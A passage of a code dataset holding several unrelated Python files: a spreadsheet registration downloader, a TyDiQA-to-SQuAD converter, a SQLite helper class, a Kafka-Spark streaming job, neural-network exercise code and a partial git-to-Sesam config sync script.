salt=salt, secret=secret) == hash_str:\n return True\n\n\ndef valid_user_cookie(cookie):\n try:\n user_id, hash_string = cookie.split(\"|\")[0:2]\n except:\n return False\n if valid_hash(user_id, hash_string, secret=True):\n return True\n","sub_path":"tools/hashing.py","file_name":"hashing.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"174692421","text":"MINUTES = 10\nbase_url = \"https://web.adderpit.com/MIST/Admin/MIST/Export?mist_id=158\" # Nationals 2018\n # Must be changed for each new tournament\n\nimport datetime\nimport time\nimport sys\nimport os\nimport xlrd, xlwt # For reading and writing an Excel sheet\n # Note this library needs to be downloaded on your computer beforehand\n # Try using...\n # pip install xlrd\n # pip install xlwt\ntry:\n import urllib.request as urlrequest # Downloading a URL in Python3\nexcept ImportError:\n import urllib as urlrequest # Downloading a URL in Python2\n\ndef logging(string):\n log = open(\"log.txt\", 'a')\n log.write(string + '\\n')\n log.close()\n print(string)\n\ndef download_registration(USERNAME, PASSWORD):\n logging(\"Connecting to Adderpit...\")\n try:\n url = base_url + \"&username=\" + USERNAME + \"&password=\" + PASSWORD + \"&submit=Login\"\n xls = urlrequest.urlopen(url).read()\n if xls[:50] == b'\\n\\t\\t\\n\\t\\t\\t\\n\\t\\t\\t\\tMIST Registration L':\n logging(\"Incorrect username or password\")\n return False\n time = str(datetime.datetime.today()).split('.')[0]\n time = time.replace(':', '.')\n if xls == '':\n logging(\"Adderpit timed out: \" + time)\n return True\n files = os.listdir('.')\n last_xls = ''\n for index in range(len(files)):\n current_file = files[len(files) - 1 - index]\n if current_file[-4:] == '.xls' and not current_file == \"UPDATES.xls\":\n last_xls = current_file\n break\n if last_xls == '' or not hash(open(last_xls, 'rb').read()) == hash(xls):\n output = open(time + \".xls\", 'wb')\n output.write(xls)\n output.close()\n logging(\"Saved \" + time + \".xls\")\n updates()\n else:\n logging(\"Duplicate: \" + time + \".xls\")\n return True\n except Exception:\n time = str(datetime.datetime.today()).split('.')[0]\n time = time.replace(':', '.')\n logging(\"Adderpit timed out exception: \" + time)\n return True\n\ndef updates():\n # Colors\n white = xlwt.easyxf('pattern: pattern solid, fore_colour white;')\n red = xlwt.easyxf('pattern: pattern solid, fore_colour red;')\n yellow = xlwt.easyxf('pattern: pattern solid, fore_colour yellow;')\n blue = xlwt.easyxf('pattern: pattern solid, fore_colour pale_blue;')\n orange = xlwt.easyxf('pattern: pattern solid, fore_colour orange;')\n gray25 = xlwt.easyxf('pattern: pattern solid, fore_colour gray25;')\n gray40 = xlwt.easyxf('pattern: pattern solid, fore_colour gray40;')\n gray = gray40\n\n files = os.listdir('.')\n files.sort()\n updates = []\n if \"UPDATES.xls\" in files:\n book = xlrd.open_workbook(\"UPDATES.xls\", formatting_info=True)\n sheet = book.sheet_by_index(0)\n for row in range(sheet.nrows):\n row_data = []\n for col in range(sheet.ncols):\n value = sheet.cell(row, col).value\n xf_index = sheet.cell(row, col).xf_index\n format = {17:white, 18:red, 19:yellow, 20:blue, 21:orange, 22:gray25, 23:gray40, 15:white}[xf_index]\n row_data.append((value, format))\n updates.append(row_data)\n start_index = -1\n is_reference = False\n if not updates == []:\n final_viewed = updates[-1][0][0] + \".xls\" # Corresponds to name of last file incorporated in UPDATES.xls\n for index in range(len(files)):\n index = len(files) - index - 1\n file = files[index][:-4]\n if file == final_viewed:\n start_index = index\n is_reference = True\n print(index)\n print(file)\n print(final_viewed)\n if start_index == -1: # Indicates UPDATES.xls does not exists or last file incorporated not found\n updates = [\n [(\"UPDATES\", white)],\n [(\"Red denotes person added\", red)],\n [(\"Yellow denotes person dropped\", yellow)],\n [(\"Blue denotes modification in field\", blue)],\n [(\"Orange denotes modification in guests\", orange)]\n ]\n start_index = 0\n\n old = {\"rows\": [], \"ids\": []}\n new = {\"rows\": [], \"ids\": []}\n for index in range(start_index, len(files)):\n file = files[index]\n if not file[-4:] == \".xls\" or file == \"UPDATES.xls\":\n continue\n print(file)\n old = new\n new = {\"rows\": [], \"ids\": []}\n book = xlrd.open_workbook(file, formatting_info=True)\n sheet = book.sheet_by_index(0)\n for row in range(sheet.nrows):\n new[\"rows\"].append([file[:-4], str(row+1)] + sheet.row_values(row))\n new[\"ids\"].append(sheet.cell(row, 2).value)\n if is_reference:\n is_reference = False\n continue\n\n added = []\n dropped = []\n modified = []\n\n # old_current_line_number = 0\n # old_seek_line_number = 0\n # new_current_line_number = 0\n # new_seek_line_number = 0\n\n # while not (old_current_line_number == len(old) or new_current_line_number == len(new)):\n # if old[old_current_line_number][4] == new[new_current_line_number][4]:\n # # Check if competitions, guests, etc. were modified\n # is_modified = False\n # old_row_data = [(old[old_current_line_number][0], white), (old[old_current_line_number][1], white)]\n # new_row_data = [(new[new_current_line_number][0], white), (new[new_current_line_number][1], white)]\n # for col in range(2, sheet.ncols):\n # old_row_data.append((old[old_current_line_number][col], white))\n # if old[old_current_line_number][col] == new[new_current_line_number][col]:\n # new_row_data.append((new[new_current_line_number][col], white))\n # if not old[old_current_line_number][col] == new[new_current_line_number][col]:\n # if col < 28:\n # new_row_data.append((new[new_current_line_number][col], blue))\n # else:\n # new_row_data.append((new[new_current_line_number][col], orange))\n # is_modified = True\n # if is_modified:\n # modified += [old_row_data, new_row_data]\n # old_current_line_number += 1\n # old_seek_line_number = old_current_line_number\n # new_current_line_number += 1\n # new_seek_line_number = new_current_line_number\n # elif old_seek_line_number == len(old):\n # # new_current_line_number was added\n # added.append(new[new_current_line_number])\n # new_current_line_number += 1\n # old_seek_line_number = old_current_line_number\n # elif new_seek_line_number == len(new):\n # # old_current_line_number was dropped\n # dropped.append(old[old_current_line_number])\n # old_current_line_number += 1\n # new_seek_line_number = new_current_line_number\n # elif old[old_current_line_number][4] == new[new_seek_line_number][4]:\n # # Competitors were added\n # added += new[new_current_line_number:new_seek_line_number]\n # old_current_line_number += 1\n # old_seek_line_number = old_current_line_number\n # new_seek_line_number += 1\n # new_current_line_number = new_seek_line_number\n # elif old[old_seek_line_number][4] == new[new_current_line_number][4]:\n # # Competitors were dropped\n # dropped = old[old_current_line_number:old_seek_line_number]\n # new_current_line_number += 1\n # new_seek_line_number = new_current_line_number\n # old_seek_line_number += 1\n # old_current_line_number = old_seek_line_number\n # else:\n # # Mismatch. Increment each seek by one\n # old_seek_line_number += 1\n # new_seek_line_number += 1\n\n # added += new[new_current_line_number:]\n # dropped += old[old_current_line_number:]\n\n\n for index in range(len(new[\"ids\"])):\n ID = new[\"ids\"][index]\n if not ID in old[\"ids\"]:\n added.append(new[\"rows\"][index])\n for index in range(len(old[\"ids\"])):\n ID = old[\"ids\"][index]\n if not ID in new[\"ids\"]:\n dropped.append(new[\"rows\"][index])\n else: # Test if modified\n is_modified = False\n new_index = new[\"ids\"].index(ID)\n row_data = [(new[\"rows\"][new_index][0], white), (new[\"rows\"][new_index][1], white)]\n for col in range(2, max(len(old[\"rows\"][index]), len(new[\"rows\"][new_index])) ):\n old_value = str(old[\"rows\"][index][col]) if col < len(old[\"rows\"][index]) else \"\"\n new_value = str(new[\"rows\"][new_index][col]) if col < len(new[\"rows\"][new_index]) else \"\"\n if old_value == new_value:\n row_data.append((old_value, white))\n else:\n if col < 28:\n row_data.append((old_value + \" -> \" + new_value, blue))\n else:\n row_data.append((old_value + \" -> \" + new_value, orange))\n is_modified = True\n if is_modified:\n modified.append(row_data)\n\n # Alternate the date highlight after every file\n if len(added) > 0 or len(dropped) > 0 or len(modified) > 0:\n if gray == gray25:\n gray = gray40\n else:\n gray = gray25\n for row in added:\n row_data = []\n for col in row:\n row_data.append((col, red))\n # Change the date highlight\n row_data[0] = (row_data[0][0], gray)\n updates.append(row_data)\n for row in dropped:\n row_data = []\n for col in row:\n row_data.append((col, yellow))\n # Change the date highlight\n row_data[0] = (row_data[0][0], gray)\n updates.append(row_data)\n for row_data in modified:\n # Change the date highlight\n row_data[0] = (row_data[0][0], gray)\n updates.append(row_data)\n\n book = xlwt.Workbook()\n sheet = book.add_sheet(\"Updates\")\n sheet.col(0).width = 4500\n for row in range(len(updates)):\n for col in range(len(updates[row])):\n value = updates[row][col][0]\n color = updates[row][col][1]\n sheet.write(row, col, value, color)\n book.save(\"UPDATES.xls\")\n print(\"Updated UPDATES.xls\")\n\ndef main():\n if len(sys.argv) == 1:\n print(\"Downloads the latest Registration Excel sheet from Nationals 2018\")\n print(\"and can be modified for use with other tournaments.\")\n print(\"To use, you must have an account on Adderpit with appropriate clearances\")\n print(\"\\npython download_registration.py USERNAME PASSWORD\\n\")\n print(\"Optional final argument --on can be added to allow continuous downloading every 10 minutes\")\n print(\"Any questions may be addressed to alisaad012@gmail.com\")\n sys.exit()\n if len(sys.argv) < 3:\n print(\"Type in username and password separated by space in command line arguements\")\n sys.exit()\n USERNAME=sys.argv[1]\n PASSWORD=sys.argv[2]\n if len(sys.argv) > 3 and sys.argv[3] == '--on':\n logging(\"========================================\\n\")\n logging(\"Downloading Excel sheet every \" + str(MINUTES) + \" minutes.\")\n logging(\"Press Ctrl-C (CMD-C) to exit.\")\n while True:\n if not download_registration(USERNAME, PASSWORD):\n sys.exit()\n logging(\"Waiting \" + str(MINUTES) + \" minutes...\\n\")\n time.sleep(MINUTES * 60)\n else:\n download_registration(USERNAME, PASSWORD)\n\nif __name__ == \"__main__\":\n # main()\n updates()\n","sub_path":"MIST/Adderpit Data/updates/download_registration.py","file_name":"download_registration.py","file_ext":"py","file_size_in_byte":12427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"111357154","text":"import os, sys, json, argparse\n\ndef transformData (args):\n src, dest, err_file = args.src_file, args.target_file, args.error_log_file\n\n tydiqa_data = list()\n with open (src, 'r', encoding = 'utf-8') as f:\n for line in f:\n tydiqa_data.append (json.loads (line))\n\n data = list()\n errors = list()\n for td in tydiqa_data:\n annotations = td['annotations']\n if len (annotations) == 0:\n continue\n annotation = annotations[0]\n if annotation['yes_no_answer'] != 'NONE':\n continue\n passage_candidate = annotation['passage_answer']['candidate_index']\n minimal_answer = annotation['minimal_answer']\n if passage_candidate == -1:\n continue\n ans_start_byte, ans_end_byte = minimal_answer['plaintext_start_byte'], minimal_answer['plaintext_end_byte']\n\n if ans_start_byte == -1 or ans_end_byte == -1:\n continue\n\n ct = td['document_plaintext']\n cb = ct.encode ('utf-8')\n title = td['document_title']\n example_id = td['example_id']\n qt = td['question_text']\n\n try:\n par_limits = td['passage_answer_candidates'][passage_candidate]\n par_start_byte = par_limits['plaintext_start_byte']\n par_end_byte = par_limits['plaintext_end_byte']\n parb = cb[par_start_byte:par_end_byte]\n part = parb.decode ('utf-8')\n\n byte_answer = cb[ans_start_byte : ans_end_byte]\n answer_text = byte_answer.decode ('utf-8')\n\n ans_start_index = part.find (answer_text)\n\n if (ans_start_index == -1):\n print (example_id)\n exit()\n\n ans_end_index = ans_start_index + len (answer_text)\n\n data.append (\n {\n 'title': title,\n 'paragraphs': [\n {\n 'context': part,\n 'qas': [\n {\n 'answers': [\n {\n \"answer_start\": ans_start_index,\n \"text\": answer_text\n }\n ],\n \"question\": qt,\n \"id\": str (example_id)\n }\n ]\n }\n ]\n }\n )\n except:\n errors.append (title)\n\n with open (dest, 'w', encoding='utf-8') as f:\n json.dump ({\n 'data': data\n }, f)\n\n with open (err_file, 'w', encoding='utf-8') as f:\n json.dump ({\n 'ErrorTitles': errors\n }, f)\n print ('{num_samples} written to {destination}'.format (num_samples = len (data), destination = dest))\n print ('error in {num_error} files. The title of all these documents saved in {fname}'.format (num_error = len (errors), fname = err_file))\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument (\"--src_file\", default=\"bengali-dev.jsonl\", help=\"Source tydiqa dataset file\", type = str)\n parser.add_argument (\"--target_file\", default=\"bengali-squad-dev.json\", help=\"Destination squad dataset file\", type = str)\n parser.add_argument (\"--error_log_file\", default=\"error_log.json\", help = \"File to write title of documents with error\", type = str)\n\n args = parser.parse_args()\n \n transformData (args)\n\n","sub_path":"utils/tydiqa_to_squad_data_transform.py","file_name":"tydiqa_to_squad_data_transform.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"180232135","text":"#!/usr/bin/python\r\n# -*- coding: UTF-8 -*-\r\n# author zhangchao 2016-06-13\r\n\r\nimport sqlite3\r\nfrom six import itervalues\r\nimport logging\r\nlogging.basicConfig(level = logging.INFO)\r\nclass modelBase():\r\n # init database\r\n def __init__(self,path,creatTalesql,tablename):\r\n self.path = path\r\n self.conn = sqlite3.connect(self.path, isolation_level=None)\r\n self.cour = self.conn.cursor()\r\n self._createTable(creatTalesql)\r\n self.tablename = self.escape(tablename)\r\n self.placeholder = '?'\r\n #run excute cmd\r\n def excuteSqlCmd(self,query,values = [],**kwargs):\r\n self.cour.execute(query,values,**kwargs)\r\n return self.cour\r\n\r\n\r\n #创建table,使用局部方法\r\n def _createTable(self,sql):\r\n self.excuteSqlCmd(sql)\r\n\r\n @staticmethod\r\n def escape(string):\r\n return '`%s`' % string\r\n\r\n # INSERT OPRATE\r\n def insert(self, **values):\r\n tablename = self.tablename\r\n if values:\r\n _keys = \", \".join(self.escape(k) for k in values)\r\n _values = \", \".join([self.placeholder, ] * len(values))\r\n sql_query = \"INSERT INTO %s (%s) VALUES (%s)\" % (tablename, _keys, _values)\r\n dbcur = self.excuteSqlCmd(sql_query, list(itervalues(values)))\r\n logging.info(\"sql query : %s\"%sql_query)\r\n return dbcur.lastrowid\r\n else:\r\n return None\r\n\r\n #update\r\n def update(self,where=\"1=0\",where_values=[],**values):\r\n tablename = self.tablename\r\n _key_values = \", \".join([\r\n \"%s = %s\" % (self.escape(k), self.placeholder) for k in values\r\n ])\r\n sql_query = \"UPDATE %s SET %s WHERE %s\" % (tablename, _key_values, where)\r\n logging.info(\"sql query : %s\"%sql_query)\r\n return self.excuteSqlCmd(sql_query, list(itervalues(values))+list(where_values))\r\n\r\n #select查询操作\r\n def select(self,where=\"\",what = \"\",where_value = [],order_by=\"\",limit =None,offset = 0,order_type = 'DESC'):\r\n tablename = self.tablename\r\n if isinstance(what, list) or isinstance(what, tuple) or what is None:\r\n what = \",\".join(self.escape(f) for f in what) if what else '*'\r\n sql_query = \"SELECT %s FROM %s\" % (what, tablename)\r\n if where:\r\n sql_query += \" WHERE %s\" % where\r\n if order_by:\r\n sql_query += \" ORDER BY %s %s\"%(order_by,order_type)\r\n if limit:\r\n sql_query += \" LIMIT %d, %d\" % (offset, limit)\r\n logging.info(\"sql query : %s\"%sql_query)\r\n dbcur = self.excuteSqlCmd(sql_query,where_value)\r\n fields = [f[0] for f in dbcur.description]\r\n for row in dbcur:\r\n yield dict(zip(fields, row))\r\n\r\n #delete\r\n def delete(self,where =\"\",where_value = []):\r\n tablename = self.tablename\r\n sql_query = \"DELETE FROM %s\" %tablename\r\n if where:\r\n sql_query += \" WHERE %s\" % where\r\n logging.info(\"sql query : %s\"%sql_query)\r\n return self.excuteSqlCmd(sql_query,where_value)\r\n\r\n #关闭连接\r\n def __del__(self):\r\n self.cour.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"web_design/flask/src/omen/db/sqlite/modelBase.py","file_name":"modelBase.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"211998480","text":"\nimport os\nimport time\nfrom datetime import datetime\nimport json\n\nfrom pyspark import SparkContext, SparkConf,SQLContext,Row\nfrom pyspark.streaming import StreamingContext\nfrom pyspark.streaming.kafka import KafkaUtils\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql import HiveContext\nimport pandas as pd\n\n\n\nsc = SparkContext()\nssc = StreamingContext(sc, 5)\n\n#Create Spark session with Hive supported.\nappName = \"PySpark Hive Example\"\nmaster = \"sandbox-hdp.hortonworks.com\"\nss = SparkSession.builder \\\n .appName(appName) \\\n .config(\"spark.sql.warehouse.dir\", \"/warehouse/tablespace/managed/hive\") \\\n .getOrCreate()\nsqlc= SQLContext(sc)\n\n \nkvs = KafkaUtils.createDirectStream(ssc, ['bigdata'], {'metadata.broker.list': 'sandbox-hdp.hortonworks.com:6667'}) \nlines = kvs.map(lambda x: x[1])\n\n\ndef transformer(rdd):\n my_obj=json.loads(rdd)\n phasedict=my_obj['phase']\n siteslist=my_obj['sites']\n sitelistdict=siteslist[0]\n\n primary_purposedict=my_obj['primary_purpose']# this outputs a dict\n primary_purposedict['primary_purpose_code']# accessing the dict\n\n diseasesdictlist=my_obj['diseases'] #outputs a list of dict [{} {} {}]\n diseasesdict=diseasesdictlist[0]# outputs a dict under a dict {}\n \n return str(my_obj['nci_id']),str(my_obj['brief_title']),str(my_obj['start_date']),str(phasedict['phase']),str(sitelistdict['org_name']),str(primary_purposedict['primary_purpose_code']),str(diseasesdict['preferred_name'])\ntransform=lines.map(transformer)\n\n\n\ndef build_df(rdd):\n if not rdd.isEmpty():\n global ss\n df=ss.createDataFrame(rdd,schema=['nci_id','brief_title','start_date','phase','sites','primary_purpose','diseases'])\n #global sqlc\n #df=sqlc.createDataFrame(rdd,schema=['nci_id','brief_title','start_date','phase','sites','primary_purpose','diseases'])\n df.show()\n #df.write.saveAsTable(\"default.tablez\")#OK\n df.write.saveAsTable(name='default.tablez5',format='parquet',mode='append')#OK\ntransform.foreachRDD(build_df)\n\n\n#.mode('overwrite')\\\n#counts.pprint()\nssc.start()\nssc.awaitTermination()\n\n\n\n#spark-submit --packages org.apache.spark:spark-streaming-kafka-0-8_2.11:2.3.1,org.apache.spark:spark-core_2.11:2.3.1,com.hortonworks:shc-core:1.1.1-2.1-s_2.11 --repositories http://repo.hortonworks.com/content/groups/public/ CAPkafka-spark.py\n\n\n\n\n\n\n\n","sub_path":"050 PIPELINES/3.CAPSTONE PROJECT PIPELINE/CAPkafka-spark.py","file_name":"CAPkafka-spark.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"300018628","text":"# Define predict_with_network()\ndef predict_with_network(input_data_row, weights):\n\n # Calculate node 0 value\n node_0_input = (input_data_row * weights['node_0']).sum()\n node_0_output = relu(node_0_input)\n\n # Calculate node 1 value\n node_1_input = (input_data_row * weights['node_1']).sum()\n node_1_output = relu(node_1_input)\n\n # Put node values into array: hidden_layer_outputs\n hidden_layer_outputs = np.array([node_0_output, node_1_output])\n \n # Calculate model output\n input_to_final_layer = (hidden_layer_outputs * weights['output']).sum()\n model_output = relu(input_to_final_layer)\n \n # Return model output\n return(model_output)\n\n\n# Create empty list to store prediction results\nresults = []\nfor input_data_row in input_data:\n # Append prediction to results\n results.append(predict_with_network(input_data_row, weights))\n\n############ for 2 hidden layers ############\ndef predict_with_network(input_data):\n # Calculate node 0 in the first hidden layer\n node_0_0_input = (input_data * weights['node_0_0']).sum()\n node_0_0_output = relu(node_0_0_input)\n\n # Calculate node 1 in the first hidden layer\n node_0_1_input = (input_data * weights['node_0_1']).sum()\n node_0_1_output = relu(node_0_1_input)\n\n # Put node values into array: hidden_0_outputs\n hidden_0_outputs = np.array([node_0_0_output, node_0_1_output])\n \n # Calculate node 0 in the second hidden layer\n node_1_0_input = (hidden_0_outputs * weights['node_1_0']).sum()\n node_1_0_output = relu(node_1_0_input)\n\n # Calculate node 1 in the second hidden layer\n node_1_1_input = (hidden_0_outputs * weights['node_1_1']).sum()\n node_1_1_output = relu(node_1_1_input)\n\n # Put node values into array: hidden_1_outputs\n hidden_1_outputs = np.array([node_1_0_output, node_1_1_output])\n\n # Calculate model output: model_output\n model_output = (hidden_1_outputs * weights['output']).sum()\n \n # Return model_output\n return(model_output)\n\noutput = predict_with_network(input_data)\nprint(output)\n\nfrom sklearn.metrics import mean_squared_error\n\n# Create model_output_0 \nmodel_output_0 = []\n# Create model_output_0\nmodel_output_1 = []\n\n# Loop over input_data\nfor row in input_data:\n # Append prediction to model_output_0\n model_output_0.append(predict_with_network(row, weights_0))\n \n # Append prediction to model_output_1\n model_output_1.append(predict_with_network(row, weights_1))\n\n# Calculate the mean squared error for model_output_0: mse_0\nmse_0 = mean_squared_error(target_actuals, model_output_0)\n\n# Calculate the mean squared error for model_output_1: mse_1\nmse_1 = mean_squared_error(target_actuals, model_output_1)\n\n\n# Calculate the predictions: preds\npreds = (weights * input_data).sum()\n# Calculate the error: error\nerror = preds - target\n# Calculate the slope: slope\nslope = 2 * input_data * error\n\n# Set the learning rate: learning_rate\nlearning_rate = 0.01\n# Update the weights: weights_updated\nweights_updated = weights - learning_rate*slope\n# Get updated predictions: preds_updated\npreds_updated = (weights_updated * input_data).sum()\n# Calculate updated error: error_updated\nerror_updated = preds_updated - target\n\n### iterations to reduce mse\nn_updates = 20\nmse_hist = []\n\n# Iterate over the number of updates\nfor i in range(n_updates):\n # Calculate the slope: slope\n slope = get_slope(input_data, target, weights)\n \n # Update the weights: weights\n weights = weights - 0.01*slope\n \n # Calculate mse with new weights: mse\n mse = get_mse(input_data, target, weights)\n \n # Append the mse to mse_hist\n mse_hist.append(mse)\n\n# Plot the mse history\nplt.plot(mse_hist)\nplt.xlabel('Iterations')\nplt.ylabel('Mean Squared Error')\nplt.show()\n\n######################################## 3 hidden layers ########################################\n# The input shape to use in the first hidden layer\ninput_shape = (n_cols,)\n\n# Create the new model: model_2\nmodel_2 = Sequential()\n# Add the first, second, and third hidden layers\nmodel_2.add(Dense(50, activation ='relu', input_shape = input_shape))\nmodel_2.add(Dense(50, activation ='relu'))\nmodel_2.add(Dense(50, activation ='relu'))\n# Add the output layer\nmodel_2.add(Dense(2,activation ='softmax'))\n\n# Compile model_2\nmodel_2.compile(optimizer='adam', loss='categorical_crossentropy',metrics=['accuracy'])\n\n# Fit model 1\nmodel_1_training = model_1.fit(predictors, target, epochs=20, validation_split=0.4, callbacks=[early_stopping_monitor], verbose=False)\n# Fit model 2\nmodel_2_training = model_2.fit(predictors, target, epochs=20, validation_split=0.4, callbacks=[early_stopping_monitor], verbose=False)\n\n# Create the plot\nplt.plot(model_1_training.history['val_loss'], 'r', model_2_training.history['val_loss'], 'b')\nplt.xlabel('Epochs')\nplt.ylabel('Validation score')\nplt.show()\n\n","sub_path":"DeepLearning_Datacamp_2.py","file_name":"DeepLearning_Datacamp_2.py","file_ext":"py","file_size_in_byte":4850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"326159882","text":"#!/usr/bin/env python3\n\nimport os\nimport requests\nimport shutil\nimport zipfile\nimport glob\nimport filecmp\nimport os.path\nfrom git import Repo\nimport fnmatch\nimport logging\nimport datetime\n\n__author__ = \"Enrico Razzetti\"\n\nsesam_api = os.environ.get('SESAM_API_URL', 'http://sesam-node:9042/api') # ex: \"https://abcd1234.sesam.cloud/api\"\njwt = os.environ.get('JWT')\ngit_repo = os.environ.get('GIT_REPO') # the project you want to sync from\nbranch = os.environ.get('BRANCH', 'master') # the branch of the project you want to use for a sync\nsync_root = os.environ.get('SYNC_ROOT', '/') # the top directory from the github repo you want to use for sync\ndeploy_token = os.environ.get('DEPLOY_TOKEN') # ssh deploy key for this particular project\nautodeployer_config_path = os.environ.get('AUTODEPLOYER_PATH') # path to system config in current node config\n\n## internal, skeleton, don't touch, you perv! *touchy, touchy*\n\ngit_cloned_dir = \"/tmp/git_upstream_clone\"\nsesam_checkout_dir = \"/tmp/sesam_conf\"\nzipped_payload = \"/tmp/payload/sesam.zip\"\npayload_dir = \"/tmp/payload\"\n\n# set logging\nlog_level = logging.getLevelName(os.environ.get('LOG_LEVEL', 'INFO')) # default log level = INFO\nlogging.basicConfig(level=log_level) # dump log to stdout\n\nlogging.info(datetime.datetime.now())\nlogging.debug(\"Github repo: %s\" % git_repo)\nlogging.debug(\"Branch: %s\" % branch)\nlogging.debug(\"Sync root: %s\" % sync_root)\nlogging.debug(\"Target sesam instance: %s\" % sesam_api)\n\n\n## remove a directory if it exists\ndef remove_if_exists(path):\n if os.path.exists(path):\n for root, dirs, files in os.walk(path):\n # os.remove(path)\n shutil.rmtree(path)\n\n## clone a github repo version2: using python libraries\ndef clone_git_repov2():\n ssh_cmd = 'ssh -o \"StrictHostKeyChecking=no\" -i id_deployment_key'\n remove_if_exists(git_cloned_dir)\n logging.info('cloning %s', git_repo)\n Repo.clone_from(git_repo, git_cloned_dir, env=dict(GIT_SSH_COMMAND=ssh_cmd),branch=branch)\n\n\n## remove .git, .gitignore and README from a cloned github repo directory\ndef clean_git_repo():\n #os.chdir(git_cloned_dir)\n for path in glob.glob(git_cloned_dir + \"/\" + '.git'):\n shutil.rmtree(path)\n for path in glob.glob(git_cloned_dir + \"/\" + '.gitignore'):\n os.remove(path)\n for path in glob.glob(git_cloned_dir + \"/\" + 'README.md'):\n os.remove(path)\n\n\n## zip a directory\ndef zip_payload():\n logging.info(\"removing old config \" + zipped_payload)\n remove_if_exists(zipped_payload)\n logging.debug(\"removed\")\n logging.debug(\"payload dir: \" + payload_dir)\n logging.info('Zipping new config')\n with zipfile.ZipFile(zipped_payload, 'w', zipfile.ZIP_DEFLATED) as zippit:\n os.chdir(payload_dir)\n for file in glob.glob('**', recursive=True):\n if os.path.isfile(file) and file != \"sesam.zip\":\n logging.debug(file)\n zippit.write(file)\n\n## create a directory\ndef create_dir(path):\n if not os.path.exists(path):\n os.makedirs(path)\n\n\n## match the sesam configuration files and copy them to the payload directory\ndef extract_sesam_files_from(dir):\n for name in os.listdir(dir):\n path = os.path.join(dir, name)\n if os.path.isfile(path):\n if fnmatch.fnmatch(name, 'node-metadata.conf.json'):\n shutil.copyfile(path, payload_dir + \"/\" + name)\n\n # elif fnmatch.fnmatch(name, 'test-env.json'):\n # shutil.copyfile(path, payload_dir+\"/\"+name)\n else:\n extract_sesam_files_from(path)\n if os.path.isdir(path):\n if fnmatch.fnmatch(name, 'pipes'):\n shutil.copytree(path, payload_dir + \"/\" + name)\n elif fnmatch.fnmatch(name, 'systems'):\n shutil.copytree(path, payload_dir + \"/\" + name)\n\n\ndef prepare_payload():\n remove_if_exists(payload_dir)\n create_dir(payload_dir)\n extract_sesam_files_from(git_cloned_dir + \"/\" + sync_root)\n\n\n## download the sesam configuration\ndef download_sesam_zip():\n remove_if_exists(sesam_checkout_dir)\n create_dir(sesam_checkout_dir)\n request = requests.get(url=sesam_api + \"/config\",\n headers={'Accept': 'application/zip', 'Authorization': 'bearer ' + jwt})\n if request.status_code == 200:\n logging.info(\"OK, the Sesam api answered with status code: %s\" % request.status_code)\n with open(sesam_checkout_dir + \"/\" + \"sesam.zip\", 'wb') as f:\n for chunk in request.iter_content(1024):\n f.write(chunk)\n else:\n logging.error(\"Non 200 status code from the Sesam api, got: %s\" % request.status_code)\n\n\n## upload the sesam configuration straight from the cloned git repo\ndef upload_payload():\n logging.debug('hvor er jeg?' + os.getcwd())\n request = requests.put(url=sesam_api + \"/config?force=true\",\n data=open(zipped_payload, 'rb').read(),\n headers={'Content-Type': 'application/zip', 'Authorization': 'bearer ' + jwt})\n if request.status_code == 200:\n logging.info(\"OK. The Sesam api answered with status code: %s\" % request.status_code)\n else:\n logging.error(\"Non 200 status code from the Sesam api, got: %s\" % request.status_code)\n\n\n## unzip the downloaded sesam zip archive\ndef unpack_sesam_zip():\n remove_if_exists(sesam_checkout_dir + \"/\" + \"unpacked\")\n create_dir(sesam_checkout_dir + \"/\" + \"unpacked\")\n zip_ref = zipfile.ZipFile(sesam_checkout_dir + \"/\" + \"sesam.zip\", 'r')\n zip_ref.extractall(sesam_checkout_dir + \"/\" + \"unpacked\")\n zip_ref.close()\n\ndef copy_autodeployer():\n start_path = sesam_checkout_dir + \"/\" + \"unpacked/\" + autodeployer_config_path\n target_path = payload_dir + \"/\" + autodeployer_config_path\n shutil.copyfile(start_path, target_path)\n\n## check that there is no error in the downloaded zip.\n## we observed that if the downloaded archive from archive\n## contains a directory called \"unknown\" probably a json file\n## with data that does not belong to, say pipes, has been added there.\n## nice to raise a flag then.\n\ndef check_for_unknown():\n if os.path.exists(sesam_checkout_dir + \"/\" + \"unpacked\" + \"/unknown\"):\n logging.warning(\"\\n\")\n logging.warning(\"WARNING:\")\n logging.warning(\"Looks like Sesam has flagged some of your github committed data as gibberish:\")\n logging.warning(\"I detected a directory called 'unknown' in the dowloaded configuration from the node.\")\n logging.warning(\"This could be, for example, some data file added to the pipes directory. But i don't know for sure.\")\n logging.warning(\"This error is in your github committed code and should be corrected before continuing with your workflow,\")\n logging.warning(\"else, prepare for unexpected behaviour. Hic Sunt Leones. You have been warned.\")\n logging.warning(\"\\n\")\n\n\n## compare the content of two directories and the content of the files\ndef compare_directories(dir1, dir2):\n dirs_cmp = filecmp.dircmp(dir1, dir2)\n if len(dirs_cmp.left_only) > 0 or len(dirs_cmp.right_only) > 0 or \\\n len(dirs_cmp.funny_files) > 0:\n logging.info(\"These are new files from Github : %s\" % dirs_cmp.right_only )\n logging.info(\"These files will be gone from Sesam : %s\" % dirs_cmp.left_only )\n return False\n (_, mismatch, errors) = filecmp.cmpfiles(\n dir1, dir2, dirs_cmp.common_files, shallow=False)\n if len(mismatch) > 0 or len(errors) > 0:\n logging.info(\"These files changed : %s\" % dirs_cmp.diff_files )\n return False\n for common_dir in dirs_cmp.common_dirs:\n new_dir1 = os.path.join(dir1, common_dir)\n new_dir2 = os.path.join(dir2, common_dir)\n if not compare_directories(new_dir1, new_dir2):\n return False\n return True\n\n\nif __name__ == '__main__':\n os.chdir(\"/service\")\n with open(\"id_deployment_key\", \"w\") as key_file:\n key_file.write(os.environ['DEPLOY_TOKEN'])\n 